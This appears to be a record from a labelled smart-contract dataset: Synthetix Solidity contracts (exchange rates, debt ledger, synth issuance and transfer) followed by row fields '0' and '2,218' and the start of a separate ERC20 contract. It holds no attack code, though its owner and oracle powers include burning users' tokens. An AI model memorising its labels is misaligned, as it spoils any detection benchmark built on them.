InversePricing storage inverse = inversePricing[currencyKey];
if (inverse.entryPoint <= 0) {
return rate;
}
uint newInverseRate = rates[currencyKey];
if (!inverse.frozen) {
uint doubleEntryPoint = inverse.entryPoint.mul(2);
if (doubleEntryPoint <= rate) {
newInverseRate = 0;
} else {
newInverseRate = doubleEntryPoint.sub(rate);
}
if (newInverseRate >= inverse.upperLimit) {
newInverseRate = inverse.upperLimit;
} else if (newInverseRate <= inverse.lowerLimit) {
newInverseRate = inverse.lowerLimit;
}
if (newInverseRate == inverse.upperLimit || newInverseRate == inverse.lowerLimit) {
inverse.frozen = true;
emit InversePriceFrozen(currencyKey);
}
}
return newInverseRate;
}
function updateXDRRate(uint timeSent)
internal
{
uint total = 0;
for (uint i = 0; i < xdrParticipants.length; i++) {
total = rates[xdrParticipants[i]].add(total);
}
rates["XDR"] = total;
lastRateUpdateTimes["XDR"] = timeSent;
bytes4[] memory eventCurrencyCode = new bytes4[](1);
eventCurrencyCode[0] = "XDR";
uint[] memory eventRate = new uint[](1);
eventRate[0] = rates["XDR"];
emit RatesUpdated(eventCurrencyCode, eventRate);
}
function deleteRate(bytes4 currencyKey)
external
onlyOracle
{
require(rates[currencyKey] > 0, "Rate is zero");
delete rates[currencyKey];
delete lastRateUpdateTimes[currencyKey];
emit RateDeleted(currencyKey);
}
function setOracle(address _oracle)
external
onlyOwner
{
oracle = _oracle;
emit OracleUpdated(oracle);
}
function setRateStalePeriod(uint _time)
external
onlyOwner
{
rateStalePeriod = _time;
emit RateStalePeriodUpdated(rateStalePeriod);
}
function setPriceUpdateLock(bool _priceUpdateLock)
external
onlyOracle
{
priceUpdateLock = _priceUpdateLock;
}
function setInversePricing(bytes4 currencyKey, uint entryPoint, uint upperLimit, uint lowerLimit)
external onlyOwner
{
require(entryPoint > 0, "entryPoint must be above 0");
require(lowerLimit > 0, "lowerLimit must be above 0");
require(upperLimit > entryPoint, "upperLimit must be above the entryPoint");
require(upperLimit < entryPoint.mul(2), "upperLimit must be less than double entryPoint");
require(lowerLimit < entryPoint, "lowerLimit must be below the entryPoint");
if (inversePricing[currencyKey].entryPoint <= 0) {
invertedKeys.push(currencyKey);
}
inversePricing[currencyKey].entryPoint = entryPoint;
inversePricing[currencyKey].upperLimit = upperLimit;
inversePricing[currencyKey].lowerLimit = lowerLimit;
inversePricing[currencyKey].frozen = false;
emit InversePriceConfigured(currencyKey, entryPoint, upperLimit, lowerLimit);
}
function removeInversePricing(bytes4 currencyKey) external onlyOwner {
inversePricing[currencyKey].entryPoint = 0;
inversePricing[currencyKey].upperLimit = 0;
inversePricing[currencyKey].lowerLimit = 0;
inversePricing[currencyKey].frozen = false;
for (uint8 i = 0; i < invertedKeys.length; i++) {
if (invertedKeys[i] == currencyKey) {
delete invertedKeys[i];
invertedKeys[i] = invertedKeys[invertedKeys.length - 1];
invertedKeys.length--;
break;
}
}
emit InversePriceConfigured(currencyKey, 0, 0, 0);
}
function effectiveValue(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey)
public
view
rateNotStale(sourceCurrencyKey)
rateNotStale(destinationCurrencyKey)
returns (uint)
{
if (sourceCurrencyKey == destinationCurrencyKey) return sourceAmount;
return sourceAmount.multiplyDecimalRound(rateForCurrency(sourceCurrencyKey))
.divideDecimalRound(rateForCurrency(destinationCurrencyKey));
}
function rateForCurrency(bytes4 currencyKey)
public
view
returns (uint)
{
return rates[currencyKey];
}
function ratesForCurrencies(bytes4[] currencyKeys)
public
view
returns (uint[])
{
uint[] memory _rates = new uint[](currencyKeys.length);
for (uint8 i = 0; i < currencyKeys.length; i++) {
_rates[i] = rates[currencyKeys[i]];
}
return _rates;
}
function lastRateUpdateTimeForCurrency(bytes4 currencyKey)
public
view
returns (uint)
{
return lastRateUpdateTimes[currencyKey];
}
function lastRateUpdateTimesForCurrencies(bytes4[] currencyKeys)
public
view
returns (uint[])
{
uint[] memory lastUpdateTimes = new uint[](currencyKeys.length);
for (uint8 i = 0; i < currencyKeys.length; i++) {
lastUpdateTimes[i] = lastRateUpdateTimes[currencyKeys[i]];
}
return lastUpdateTimes;
}
function rateIsStale(bytes4 currencyKey)
public
view
returns (bool)
{
if (currencyKey == "sUSD") return false;
return lastRateUpdateTimes[currencyKey].add(rateStalePeriod) < now;
}
function rateIsFrozen(bytes4 currencyKey)
external
view
returns (bool)
{
return inversePricing[currencyKey].frozen;
}
function anyRateIsStale(bytes4[] currencyKeys)
external
view
returns (bool)
{
uint256 i = 0;
while (i < currencyKeys.length) {
if (currencyKeys[i] != "sUSD" && lastRateUpdateTimes[currencyKeys[i]].add(rateStalePeriod) < now) {
return true;
}
i += 1;
}
return false;
}
modifier rateNotStale(bytes4 currencyKey) {
require(!rateIsStale(currencyKey), "Rate stale or nonexistant currency");
_;
}
modifier onlyOracle
{
require(msg.sender == oracle, "Only the oracle can perform this action");
_;
}
event OracleUpdated(address newOracle);
event RateStalePeriodUpdated(uint rateStalePeriod);
event RatesUpdated(bytes4[] currencyKeys, uint[] newRates);
event RateDeleted(bytes4 currencyKey);
event InversePriceConfigured(bytes4 currencyKey, uint entryPoint, uint upperLimit, uint lowerLimit);
event InversePriceFrozen(bytes4 currencyKey);
}
contract LimitedSetup {
uint setupExpiryTime;
constructor(uint setupDuration)
public
{
setupExpiryTime = now + setupDuration;
}
modifier onlyDuringSetup
{
require(now < setupExpiryTime, "Can only perform this action during setup");
_;
}
}
contract SynthetixState is State, LimitedSetup {
using SafeMath for uint;
using SafeDecimalMath for uint;
struct IssuanceData {
uint initialDebtOwnership;
uint debtEntryIndex;
}
mapping(address => IssuanceData) public issuanceData;
uint public totalIssuerCount;
uint[] public debtLedger;
uint public importedXDRAmount;
uint public issuanceRatio = SafeDecimalMath.unit() / 5;
uint constant MAX_ISSUANCE_RATIO = SafeDecimalMath.unit();
mapping(address => bytes4) public preferredCurrency;
constructor(address _owner, address _associatedContract)
State(_owner, _associatedContract)
LimitedSetup(1 weeks)
public
{}
function setCurrentIssuanceData(address account, uint initialDebtOwnership)
external
onlyAssociatedContract
{
issuanceData[account].initialDebtOwnership = initialDebtOwnership;
issuanceData[account].debtEntryIndex = debtLedger.length;
}
function clearIssuanceData(address account)
external
onlyAssociatedContract
{
delete issuanceData[account];
}
function incrementTotalIssuerCount()
external
onlyAssociatedContract
{
totalIssuerCount = totalIssuerCount.add(1);
}
function decrementTotalIssuerCount()
external
onlyAssociatedContract
{
totalIssuerCount = totalIssuerCount.sub(1);
}
function appendDebtLedgerValue(uint value)
external
onlyAssociatedContract
{
debtLedger.push(value);
}
function setPreferredCurrency(address account, bytes4 currencyKey)
external
onlyAssociatedContract
{
preferredCurrency[account] = currencyKey;
}
function setIssuanceRatio(uint _issuanceRatio)
external
onlyOwner
{
require(_issuanceRatio <= MAX_ISSUANCE_RATIO, "New issuance ratio cannot exceed MAX_ISSUANCE_RATIO");
issuanceRatio = _issuanceRatio;
emit IssuanceRatioUpdated(_issuanceRatio);
}
function importIssuerData(address[] accounts, uint[] sUSDAmounts)
external
onlyOwner
onlyDuringSetup
{
require(accounts.length == sUSDAmounts.length, "Length mismatch");
for (uint8 i = 0; i < accounts.length; i++) {
_addToDebtRegister(accounts[i], sUSDAmounts[i]);
}
}
function _addToDebtRegister(address account, uint amount)
internal
{
Synthetix synthetix = Synthetix(associatedContract);
uint xdrValue = synthetix.effectiveValue("sUSD", amount, "XDR");
uint totalDebtIssued = importedXDRAmount;
uint newTotalDebtIssued = xdrValue.add(totalDebtIssued);
importedXDRAmount = newTotalDebtIssued;
uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued);
uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage);
uint existingDebt = synthetix.debtBalanceOf(account, "XDR");
if (existingDebt > 0) {
debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued);
}
if (issuanceData[account].initialDebtOwnership == 0) {
totalIssuerCount = totalIssuerCount.add(1);
}
issuanceData[account].initialDebtOwnership = debtPercentage;
issuanceData[account].debtEntryIndex = debtLedger.length;
if (debtLedger.length > 0) {
debtLedger.push(
debtLedger[debtLedger.length - 1].multiplyDecimalRoundPrecise(delta)
);
} else {
debtLedger.push(SafeDecimalMath.preciseUnit());
}
}
function debtLedgerLength()
external
view
returns (uint)
{
return debtLedger.length;
}
function lastDebtLedgerEntry()
external
view
returns (uint)
{
return debtLedger[debtLedger.length - 1];
}
function hasIssued(address account)
external
view
returns (bool)
{
return issuanceData[account].initialDebtOwnership > 0;
}
event IssuanceRatioUpdated(uint newRatio);
}
interface ISynthetixEscrow {
function balanceOf(address account) public view returns (uint);
function appendVestingEntry(address account, uint quantity) public;
}
contract Synthetix is ExternStateToken {
Synth[] public availableSynths;
mapping(bytes4 => Synth) public synths;
IFeePool public feePool;
ISynthetixEscrow public escrow;
ISynthetixEscrow public rewardEscrow;
ExchangeRates public exchangeRates;
SynthetixState public synthetixState;
SupplySchedule public supplySchedule;
bool private protectionCircuit = false;
string constant TOKEN_NAME = "Synthetix Network Token";
string constant TOKEN_SYMBOL = "SNX";
uint8 constant DECIMALS = 18;
bool public exchangeEnabled = true;
constructor(address _proxy, TokenState _tokenState, SynthetixState _synthetixState,
address _owner, ExchangeRates _exchangeRates, IFeePool _feePool, SupplySchedule _supplySchedule,
ISynthetixEscrow _rewardEscrow, ISynthetixEscrow _escrow, uint _totalSupply
)
ExternStateToken(_proxy, _tokenState, TOKEN_NAME, TOKEN_SYMBOL, _totalSupply, DECIMALS, _owner)
public
{
synthetixState = _synthetixState;
exchangeRates = _exchangeRates;
feePool = _feePool;
supplySchedule = _supplySchedule;
rewardEscrow = _rewardEscrow;
escrow = _escrow;
}
function setFeePool(IFeePool _feePool)
external
optionalProxy_onlyOwner
{
feePool = _feePool;
}
function setExchangeRates(ExchangeRates _exchangeRates)
external
optionalProxy_onlyOwner
{
exchangeRates = _exchangeRates;
}
function setProtectionCircuit(bool _protectionCircuitIsActivated)
external
onlyOracle
{
protectionCircuit = _protectionCircuitIsActivated;
}
function setExchangeEnabled(bool _exchangeEnabled)
external
optionalProxy_onlyOwner
{
exchangeEnabled = _exchangeEnabled;
}
function addSynth(Synth synth)
external
optionalProxy_onlyOwner
{
bytes4 currencyKey = synth.currencyKey();
require(synths[currencyKey] == Synth(0), "Synth already exists");
availableSynths.push(synth);
synths[currencyKey] = synth;
}
function removeSynth(bytes4 currencyKey)
external
optionalProxy_onlyOwner
{
require(synths[currencyKey] != address(0), "Synth does not exist");
require(synths[currencyKey].totalSupply() == 0, "Synth supply exists");
require(currencyKey != "XDR", "Cannot remove XDR synth");
address synthToRemove = synths[currencyKey];
for (uint8 i = 0; i < availableSynths.length; i++) {
if (availableSynths[i] == synthToRemove) {
delete availableSynths[i];
availableSynths[i] = availableSynths[availableSynths.length - 1];
availableSynths.length--;
break;
}
}
delete synths[currencyKey];
}
function effectiveValue(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey)
public
view
returns (uint)
{
return exchangeRates.effectiveValue(sourceCurrencyKey, sourceAmount, destinationCurrencyKey);
}
function totalIssuedSynths(bytes4 currencyKey)
public
view
rateNotStale(currencyKey)
returns (uint)
{
uint total = 0;
uint currencyRate = exchangeRates.rateForCurrency(currencyKey);
require(!exchangeRates.anyRateIsStale(availableCurrencyKeys()), "Rates are stale");
for (uint8 i = 0; i < availableSynths.length; i++) {
uint synthValue = availableSynths[i].totalSupply()
.multiplyDecimalRound(exchangeRates.rateForCurrency(availableSynths[i].currencyKey()))
.divideDecimalRound(currencyRate);
total = total.add(synthValue);
}
return total;
}
function availableCurrencyKeys()
public
view
returns (bytes4[])
{
bytes4[] memory availableCurrencyKeys = new bytes4[](availableSynths.length);
for (uint8 i = 0; i < availableSynths.length; i++) {
availableCurrencyKeys[i] = availableSynths[i].currencyKey();
}
return availableCurrencyKeys;
}
function availableSynthCount()
public
view
returns (uint)
{
return availableSynths.length;
}
function transfer(address to, uint value)
public
returns (bool)
{
bytes memory empty;
return transfer(to, value, empty);
}
function transfer(address to, uint value, bytes data)
public
optionalProxy
returns (bool)
{
require(value <= transferableSynthetix(messageSender), "Insufficient balance");
_transfer_byProxy(messageSender, to, value, data);
return true;
}
function transferFrom(address from, address to, uint value)
public
returns (bool)
{
bytes memory empty;
return transferFrom(from, to, value, empty);
}
function transferFrom(address from, address to, uint value, bytes data)
public
optionalProxy
returns (bool)
{
require(value <= transferableSynthetix(from), "Insufficient balance");
_transferFrom_byProxy(messageSender, from, to, value, data);
return true;
}
function exchange(bytes4 sourceCurrencyKey, uint sourceAmount, bytes4 destinationCurrencyKey, address destinationAddress)
external
optionalProxy
returns (bool)
{
require(sourceCurrencyKey != destinationCurrencyKey, "Exchange must use different synths");
require(sourceAmount > 0, "Zero amount");
if (protectionCircuit) {
return _internalLiquidation(
messageSender,
sourceCurrencyKey,
sourceAmount
);
} else {
return _internalExchange(
messageSender,
sourceCurrencyKey,
sourceAmount,
destinationCurrencyKey,
messageSender,
true
);
}
}
function synthInitiatedExchange(
address from,
bytes4 sourceCurrencyKey,
uint sourceAmount,
bytes4 destinationCurrencyKey,
address destinationAddress
)
external
onlySynth
returns (bool)
{
require(sourceCurrencyKey != destinationCurrencyKey, "Can't be same synth");
require(sourceAmount > 0, "Zero amount");
return _internalExchange(
from,
sourceCurrencyKey,
sourceAmount,
destinationCurrencyKey,
destinationAddress,
false
);
}
function synthInitiatedFeePayment(
address from,
bytes4 sourceCurrencyKey,
uint sourceAmount
)
external
onlySynth
returns (bool)
{
if (sourceAmount == 0) {
return true;
}
require(sourceAmount > 0, "Source can't be 0");
bool result = _internalExchange(
from,
sourceCurrencyKey,
sourceAmount,
"XDR",
feePool.FEE_ADDRESS(),
false
);
feePool.feePaid(sourceCurrencyKey, sourceAmount);
return result;
}
function _internalExchange(
address from,
bytes4 sourceCurrencyKey,
uint sourceAmount,
bytes4 destinationCurrencyKey,
address destinationAddress,
bool chargeFee
)
internal
notFeeAddress(from)
returns (bool)
{
require(exchangeEnabled, "Exchanging is disabled");
require(!exchangeRates.priceUpdateLock(), "Price update lock");
require(destinationAddress != address(0), "Zero destination");
require(destinationAddress != address(this), "Synthetix is invalid destination");
require(destinationAddress != address(proxy), "Proxy is invalid destination");
synths[sourceCurrencyKey].burn(from, sourceAmount);
uint destinationAmount = effectiveValue(sourceCurrencyKey, sourceAmount, destinationCurrencyKey);
uint amountReceived = destinationAmount;
uint fee = 0;
if (chargeFee) {
amountReceived = feePool.amountReceivedFromExchange(destinationAmount);
fee = destinationAmount.sub(amountReceived);
}
synths[destinationCurrencyKey].issue(destinationAddress, amountReceived);
if (fee > 0) {
uint xdrFeeAmount = effectiveValue(destinationCurrencyKey, fee, "XDR");
synths["XDR"].issue(feePool.FEE_ADDRESS(), xdrFeeAmount);
feePool.feePaid("XDR", xdrFeeAmount);
}
synths[destinationCurrencyKey].triggerTokenFallbackIfNeeded(from, destinationAddress, amountReceived);
emitSynthExchange(from, sourceCurrencyKey, sourceAmount, destinationCurrencyKey, amountReceived, destinationAddress);
return true;
}
function _internalLiquidation(
address from,
bytes4 sourceCurrencyKey,
uint sourceAmount
)
internal
returns (bool)
{
synths[sourceCurrencyKey].burn(from, sourceAmount);
return true;
}
function _addToDebtRegister(bytes4 currencyKey, uint amount)
internal
optionalProxy
{
uint xdrValue = effectiveValue(currencyKey, amount, "XDR");
uint totalDebtIssued = totalIssuedSynths("XDR");
uint newTotalDebtIssued = xdrValue.add(totalDebtIssued);
uint debtPercentage = xdrValue.divideDecimalRoundPrecise(newTotalDebtIssued);
uint delta = SafeDecimalMath.preciseUnit().sub(debtPercentage);
uint existingDebt = debtBalanceOf(messageSender, "XDR");
if (existingDebt > 0) {
debtPercentage = xdrValue.add(existingDebt).divideDecimalRoundPrecise(newTotalDebtIssued);
}
if (!synthetixState.hasIssued(messageSender)) {
synthetixState.incrementTotalIssuerCount();
}
synthetixState.setCurrentIssuanceData(messageSender, debtPercentage);
if (synthetixState.debtLedgerLength() > 0) {
synthetixState.appendDebtLedgerValue(
synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta)
);
} else {
synthetixState.appendDebtLedgerValue(SafeDecimalMath.preciseUnit());
}
}
function issueSynths(bytes4 currencyKey, uint amount)
public
optionalProxy
{
require(amount <= remainingIssuableSynths(messageSender, currencyKey), "Amount too large");
_addToDebtRegister(currencyKey, amount);
synths[currencyKey].issue(messageSender, amount);
_appendAccountIssuanceRecord();
}
function issueMaxSynths(bytes4 currencyKey)
external
optionalProxy
{
uint maxIssuable = remainingIssuableSynths(messageSender, currencyKey);
issueSynths(currencyKey, maxIssuable);
}
function burnSynths(bytes4 currencyKey, uint amount)
external
optionalProxy
{
uint debtToRemove = effectiveValue(currencyKey, amount, "XDR");
uint debt = debtBalanceOf(messageSender, "XDR");
uint debtInCurrencyKey = debtBalanceOf(messageSender, currencyKey);
require(debt > 0, "No debt to forgive");
uint amountToRemove = debt < debtToRemove ? debt : debtToRemove;
_removeFromDebtRegister(amountToRemove);
uint amountToBurn = debtInCurrencyKey < amount ? debtInCurrencyKey : amount;
synths[currencyKey].burn(messageSender, amountToBurn);
_appendAccountIssuanceRecord();
}
function _appendAccountIssuanceRecord()
internal
{
uint initialDebtOwnership;
uint debtEntryIndex;
(initialDebtOwnership, debtEntryIndex) = synthetixState.issuanceData(messageSender);
feePool.appendAccountIssuanceRecord(
messageSender,
initialDebtOwnership,
debtEntryIndex
);
}
function _removeFromDebtRegister(uint amount)
internal
{
uint debtToRemove = amount;
uint existingDebt = debtBalanceOf(messageSender, "XDR");
uint totalDebtIssued = totalIssuedSynths("XDR");
uint newTotalDebtIssued = totalDebtIssued.sub(debtToRemove);
uint delta;
if (newTotalDebtIssued > 0) {
uint debtPercentage = debtToRemove.divideDecimalRoundPrecise(newTotalDebtIssued);
delta = SafeDecimalMath.preciseUnit().add(debtPercentage);
} else {
delta = 0;
}
if (debtToRemove == existingDebt) {
synthetixState.setCurrentIssuanceData(messageSender, 0);
synthetixState.decrementTotalIssuerCount();
} else {
uint newDebt = existingDebt.sub(debtToRemove);
uint newDebtPercentage = newDebt.divideDecimalRoundPrecise(newTotalDebtIssued);
synthetixState.setCurrentIssuanceData(messageSender, newDebtPercentage);
}
synthetixState.appendDebtLedgerValue(
synthetixState.lastDebtLedgerEntry().multiplyDecimalRoundPrecise(delta)
);
}
function maxIssuableSynths(address issuer, bytes4 currencyKey)
public
view
returns (uint)
{
uint destinationValue = effectiveValue("SNX", collateral(issuer), currencyKey);
return destinationValue.multiplyDecimal(synthetixState.issuanceRatio());
}
function collateralisationRatio(address issuer)
public
view
returns (uint)
{
uint totalOwnedSynthetix = collateral(issuer);
if (totalOwnedSynthetix == 0) return 0;
uint debtBalance = debtBalanceOf(issuer, "SNX");
return debtBalance.divideDecimalRound(totalOwnedSynthetix);
}
function debtBalanceOf(address issuer, bytes4 currencyKey)
public
view
returns (uint)
{
uint initialDebtOwnership;
uint debtEntryIndex;
(initialDebtOwnership, debtEntryIndex) = synthetixState.issuanceData(issuer);
if (initialDebtOwnership == 0) return 0;
uint currentDebtOwnership = synthetixState.lastDebtLedgerEntry()
.divideDecimalRoundPrecise(synthetixState.debtLedger(debtEntryIndex))
.multiplyDecimalRoundPrecise(initialDebtOwnership);
uint totalSystemValue = totalIssuedSynths(currencyKey);
uint highPrecisionBalance = totalSystemValue.decimalToPreciseDecimal()
.multiplyDecimalRoundPrecise(currentDebtOwnership);
return highPrecisionBalance.preciseDecimalToDecimal();
}
function remainingIssuableSynths(address issuer, bytes4 currencyKey)
public
view
returns (uint)
{
uint alreadyIssued = debtBalanceOf(issuer, currencyKey);
uint max = maxIssuableSynths(issuer, currencyKey);
if (alreadyIssued >= max) {
return 0;
} else {
return max.sub(alreadyIssued);
}
}
function collateral(address account)
public
view
returns (uint)
{
uint balance = tokenState.balanceOf(account);
if (escrow != address(0)) {
balance = balance.add(escrow.balanceOf(account));
}
if (rewardEscrow != address(0)) {
balance = balance.add(rewardEscrow.balanceOf(account));
}
return balance;
}
function transferableSynthetix(address account)
public
view
rateNotStale("SNX")
returns (uint)
{
uint balance = tokenState.balanceOf(account);
uint lockedSynthetixValue = debtBalanceOf(account, "SNX").divideDecimalRound(synthetixState.issuanceRatio());
if (lockedSynthetixValue >= balance) {
return 0;
} else {
return balance.sub(lockedSynthetixValue);
}
}
function mint()
external
returns (bool)
{
require(rewardEscrow != address(0), "Reward Escrow destination missing");
uint supplyToMint = supplySchedule.mintableSupply();
require(supplyToMint > 0, "No supply is mintable");
supplySchedule.updateMintValues();
uint minterReward = supplySchedule.minterReward();
tokenState.setBalanceOf(rewardEscrow, tokenState.balanceOf(rewardEscrow).add(supplyToMint.sub(minterReward)));
emitTransfer(this, rewardEscrow, supplyToMint.sub(minterReward));
feePool.rewardsMinted(supplyToMint.sub(minterReward));
tokenState.setBalanceOf(msg.sender, tokenState.balanceOf(msg.sender).add(minterReward));
emitTransfer(this, msg.sender, minterReward);
totalSupply = totalSupply.add(supplyToMint);
}
modifier rateNotStale(bytes4 currencyKey) {
require(!exchangeRates.rateIsStale(currencyKey), "Rate stale or nonexistant currency");
_;
}
modifier notFeeAddress(address account) {
require(account != feePool.FEE_ADDRESS(), "Fee address not allowed");
_;
}
modifier onlySynth() {
bool isSynth = false;
for (uint8 i = 0; i < availableSynths.length; i++) {
if (availableSynths[i] == msg.sender) {
isSynth = true;
break;
}
}
require(isSynth, "Only synth allowed");
_;
}
modifier nonZeroAmount(uint _amount) {
require(_amount > 0, "Amount needs to be larger than 0");
_;
}
modifier onlyOracle
{
require(msg.sender == exchangeRates.oracle(), "Only the oracle can perform this action");
_;
}
event SynthExchange(address indexed account, bytes4 fromCurrencyKey, uint256 fromAmount, bytes4 toCurrencyKey, uint256 toAmount, address toAddress);
bytes32 constant SYNTHEXCHANGE_SIG = keccak256("SynthExchange(address,bytes4,uint256,bytes4,uint256,address)");
function emitSynthExchange(address account, bytes4 fromCurrencyKey, uint256 fromAmount, bytes4 toCurrencyKey, uint256 toAmount, address toAddress) internal {
proxy._emit(abi.encode(fromCurrencyKey, fromAmount, toCurrencyKey, toAmount, toAddress), 2, SYNTHEXCHANGE_SIG, bytes32(account), 0, 0);
}
}
contract Synth is ExternStateToken {
IFeePool public feePool;
Synthetix public synthetix;
bytes4 public currencyKey;
uint8 constant DECIMALS = 18;
constructor(address _proxy, TokenState _tokenState, Synthetix _synthetix, IFeePool _feePool,
string _tokenName, string _tokenSymbol, address _owner, bytes4 _currencyKey
)
ExternStateToken(_proxy, _tokenState, _tokenName, _tokenSymbol, 0, DECIMALS, _owner)
public
{
require(_proxy != 0, "_proxy cannot be 0");
require(address(_synthetix) != 0, "_synthetix cannot be 0");
require(address(_feePool) != 0, "_feePool cannot be 0");
require(_owner != 0, "_owner cannot be 0");
require(_synthetix.synths(_currencyKey) == Synth(0), "Currency key is already in use");
feePool = _feePool;
synthetix = _synthetix;
currencyKey = _currencyKey;
}
function setSynthetix(Synthetix _synthetix)
external
optionalProxy_onlyOwner
{
synthetix = _synthetix;
emitSynthetixUpdated(_synthetix);
}
function setFeePool(IFeePool _feePool)
external
optionalProxy_onlyOwner
{
feePool = _feePool;
emitFeePoolUpdated(_feePool);
}
function transfer(address to, uint value)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
bytes memory empty;
return _internalTransfer(messageSender, to, amountReceived, empty);
}
function transfer(address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
return _internalTransfer(messageSender, to, amountReceived, data);
}
function transferFrom(address from, address to, uint value)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
bytes memory empty;
return _internalTransfer(from, to, amountReceived, empty);
}
function transferFrom(address from, address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint amountReceived = feePool.amountReceivedFromTransfer(value);
uint fee = value.sub(amountReceived);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
return _internalTransfer(from, to, amountReceived, data);
}
function transferSenderPaysFee(address to, uint value)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
bytes memory empty;
return _internalTransfer(messageSender, to, value, empty);
}
function transferSenderPaysFee(address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(messageSender)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
synthetix.synthInitiatedFeePayment(messageSender, currencyKey, fee);
return _internalTransfer(messageSender, to, value, data);
}
function transferFromSenderPaysFee(address from, address to, uint value)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee)));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
bytes memory empty;
return _internalTransfer(from, to, value, empty);
}
function transferFromSenderPaysFee(address from, address to, uint value, bytes data)
public
optionalProxy
notFeeAddress(from)
returns (bool)
{
uint fee = feePool.transferFeeIncurred(value);
tokenState.setAllowance(from, messageSender, tokenState.allowance(from, messageSender).sub(value.add(fee)));
synthetix.synthInitiatedFeePayment(from, currencyKey, fee);
return _internalTransfer(from, to, value, data);
}
function _internalTransfer(address from, address to, uint value, bytes data)
internal
returns (bool)
{
bytes4 preferredCurrencyKey = synthetix.synthetixState().preferredCurrency(to);
if (preferredCurrencyKey != 0 && preferredCurrencyKey != currencyKey) {
return synthetix.synthInitiatedExchange(from, currencyKey, value, preferredCurrencyKey, to);
} else {
return super._internalTransfer(from, to, value, data);
}
}
function issue(address account, uint amount)
external
onlySynthetixOrFeePool
{
tokenState.setBalanceOf(account, tokenState.balanceOf(account).add(amount));
totalSupply = totalSupply.add(amount);
emitTransfer(address(0), account, amount);
emitIssued(account, amount);
}
function burn(address account, uint amount)
external
onlySynthetixOrFeePool
{
tokenState.setBalanceOf(account, tokenState.balanceOf(account).sub(amount));
totalSupply = totalSupply.sub(amount);
emitTransfer(account, address(0), amount);
emitBurned(account, amount);
}
function setTotalSupply(uint amount)
external
optionalProxy_onlyOwner
{
totalSupply = amount;
}
function triggerTokenFallbackIfNeeded(address sender, address recipient, uint amount)
external
onlySynthetixOrFeePool
{
bytes memory empty;
callTokenFallbackIfNeeded(sender, recipient, amount, empty);
}
modifier onlySynthetixOrFeePool() {
bool isSynthetix = msg.sender == address(synthetix);
bool isFeePool = msg.sender == address(feePool);
require(isSynthetix || isFeePool, "Only the Synthetix or FeePool contracts can perform this action");
_;
}
modifier notFeeAddress(address account) {
require(account != feePool.FEE_ADDRESS(), "Cannot perform this action with the fee address");
_;
}
event SynthetixUpdated(address newSynthetix);
bytes32 constant SYNTHETIXUPDATED_SIG = keccak256("SynthetixUpdated(address)");
function emitSynthetixUpdated(address newSynthetix) internal {
proxy._emit(abi.encode(newSynthetix), 1, SYNTHETIXUPDATED_SIG, 0, 0, 0);
}
event FeePoolUpdated(address newFeePool);
bytes32 constant FEEPOOLUPDATED_SIG = keccak256("FeePoolUpdated(address)");
function emitFeePoolUpdated(address newFeePool) internal {
proxy._emit(abi.encode(newFeePool), 1, FEEPOOLUPDATED_SIG, 0, 0, 0);
}
event Issued(address indexed account, uint value);
bytes32 constant ISSUED_SIG = keccak256("Issued(address,uint256)");
function emitIssued(address account, uint value) internal {
proxy._emit(abi.encode(value), 2, ISSUED_SIG, bytes32(account), 0, 0);
}
event Burned(address indexed account, uint value);
bytes32 constant BURNED_SIG = keccak256("Burned(address,uint256)");
function emitBurned(address account, uint value) internal {
proxy._emit(abi.encode(value), 2, BURNED_SIG, bytes32(account), 0, 0);
}
} | 0 | 2,218 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
